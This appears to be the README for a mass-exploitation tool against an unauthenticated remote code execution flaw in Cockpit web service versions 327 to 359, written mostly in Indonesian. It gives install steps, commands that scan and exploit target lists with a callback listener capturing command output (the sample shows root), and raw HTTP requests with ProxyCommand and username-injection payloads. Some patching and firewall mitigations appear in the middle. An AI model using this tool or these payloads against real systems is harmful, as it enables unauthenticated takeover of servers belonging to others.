Unauthenticated Remote Code Execution via SSH Command-Line Argument Injection Cockpit versions 327 – 359 | CVSS 9.8 Critical | CWE-78
Unauthenticated Remote Code Execution via SSH Command-Line Argument Injection Cockpit versions 327 – 359 | CVSS 9.8 Critical | CWE-78
Tool mass exploitation untuk CVE-2026-4631 pada Cockpit web service (cockpit-ws, port 9090). Mendukung mode vulnerability scan, mode RCE dengan capture output command via built-in HTTP callback listener, mode --auto (scan + exploit sekali jalan dengan command default id), auto-add port :9090 untuk target tanpa port, kedua attack vector (ProxyCommand + username %r injection), mass target dari file, concurrency threading, dan output result terstruktur.
Author: 0xNuts
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt
Edit targets.txt — satu host per baris. Port :9090 otomatis ditambahkan jika tidak ada:
192.168.1.10
cockpit.example.com
https://manage.lab.local
# Scan + exploit sekali jalan, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATTACKER>
# Contoh output di results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
# Scan vulnerability saja (tanpa exploit)
python3 exploit.py -f targets.txt --scan -o scan_results.txt
# RCE eksplisit dengan command custom
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATTACKER>
# Single target
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATTACKER>
CVE-2026-4631 adalah blind RCE — output command tidak kembali di HTTP response. Tool pakai built-in HTTP listener (port default 8888) untuk capture output. Pastikan:
--callback-ip adalah IP yang reachable dari target (bukan 127.0.0.1)8888 (atau --listener-port custom)# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws
# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws
# Verifikasi versi (harus >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian
rpm -q cockpit-ws # RHEL
Edit /etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
Restart service:
sudo systemctl restart cockpit
Restrict port 9090 ke management network saja:
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP
Mitigates Vector 1 (ProxyCommand injection) via early hostname validation:
ssh -V # harus OpenSSH_9.6 atau lebih baru
Jika tidak bisa upgrade ke 360, apply patch commit:
-- separator di beiboot.py dan cockpitauth.c-- di session.pyDetail patch: lihat docs/PATCH_ANALYSIS.md
| Field | Detail |
|---|---|
| CVE ID | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| Severity | Critical (CVSS 9.8) |
| CWE | CWE-78 — OS Command Injection |
| Affected | Cockpit 327 – 359 |
| Fixed in | Cockpit 360+ |
| Auth required | NO (pre-authentication) |
| Reporter | Jelle van der Waa |
| Service | cockpit-ws, default port 9090 |
Cockpit v327 mengganti cockpit-ssh (libssh) dengan python3 -m cockpit.beiboot yang invoke system OpenSSH ssh client. User-controlled input — hostname dari URL path dan username dari Authorization: Basic header — dipass ke ssh tanpa sanitasi dan tanpa -- end-of-options separator. Injection terjadi sebelum credential verification, jadi tidak butuh login valid.
Hostname dari URL path di-inject dengan SSH option -oProxyCommand=<cmd>.
GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")
SSH parse -oProxyCommand=<cmd> sebagai option, eksekusi <cmd> sebagai ProxyCommand. Command jalan sebagai user process cockpit-ws.
Prasyarat: OpenSSH < 9.6 di target. OpenSSH 9.6+ punya early hostname validation yang block metacharacters.
%r Token Injection (Secondary)Username dari Authorization: Basic header di-inject dengan shell command.
GET /cockpit+=legit-host/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x; <CMD>; #:x")
SSH expand %r dengan username di Match exec directive → shell execute injected command.
Prasyarat: target ssh_config punya Match exec directive dengan %r token.
LoginTo) tidak di-disablessh_config dengan Match exec %r# Clone dari GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
# Install dependency
pip install -r requirements.txt
# Verifikasi
python3 exploit.py --help
requests>=2.31 — HTTP client untuk exploit requestcolorama>=0.4 — colored terminal outputTidak ada dependency tambahan untuk listener (menggunakan stdlib http.server + threading).
usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
[-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
[-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
[--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
[--user-agent UA] [-v] [--no-color]
CVE-2026-4631 Cockpit Mass Exploit — Unauthenticated RCE via SSH Argument Injection